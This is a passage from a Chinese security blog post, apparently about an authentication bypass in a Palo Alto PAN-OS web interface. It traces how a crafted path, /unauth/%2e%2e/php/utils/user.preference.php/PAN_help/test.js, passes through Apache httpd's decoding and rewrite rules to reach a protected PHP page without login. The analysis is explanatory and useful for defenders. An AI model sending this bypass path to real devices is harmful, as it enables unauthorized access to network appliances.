GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></code><span leaf="">的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">将变为：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/unauth/%2e%2e/php/utils/user.preference.php/PAN_help/test.js</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">第二步</span></strong><span leaf="">，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></code><span leaf="">将再进行一次</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">解码，并且进行</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteRule</span></code><span leaf="">规则重写后</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/unauth/../php/utils/user.preference.php/PAN_help/test.js.gz</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">第三步</span></strong><span leaf="">，该请求将会通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></code><span leaf="">进行标准化处理后调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">mod_php</span></code><span leaf="">模块解析：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.96px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/php/utils/user.preference.php/PAN_help/test.js.gz</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">未授权访问直接</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">302</span></code><span leaf="">调转至登录页面：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008127" data-ratio="0.4343137254901961" data-type="png" data-w="1020" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=70fbc3c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCS5hia8DibpP7zibGfTicbhpC4M9IyxknaaqyzV4ab2YuxAyMibqT8P7BVQvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">认证绕过访问：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008126" data-ratio="0.34344422700587085" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=7b5d202d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAweahwSPNYmvU5bL3LvHoCSYWic3VicVdB02lDjC26NDD5qdiaWxa0vMYia5jwgEHGB1eNqAsFibibvPOsw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在研究一些配置复杂的应用系统时，不要着急进行代码审计或者逆向分析，可以首先深入了解系统架构、进程服务和配置文件等信息，或许你就能够直接找到一些潜在的逻辑漏洞点，从而达到事半功倍的效果。</span></p></section><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""><br/></span></p><section><span leaf=""><br/></span></section><section><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></section><section class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe mp_common_widget" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247491776">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=babf04ef&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247491776%26idx%3D1%26sn%3D8fe7433aaae447fe8dc9569ef0f44bc3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 20 Apr 2025 10:14:00 +0800</pubDate>
    </item>
  </channel>
</rss>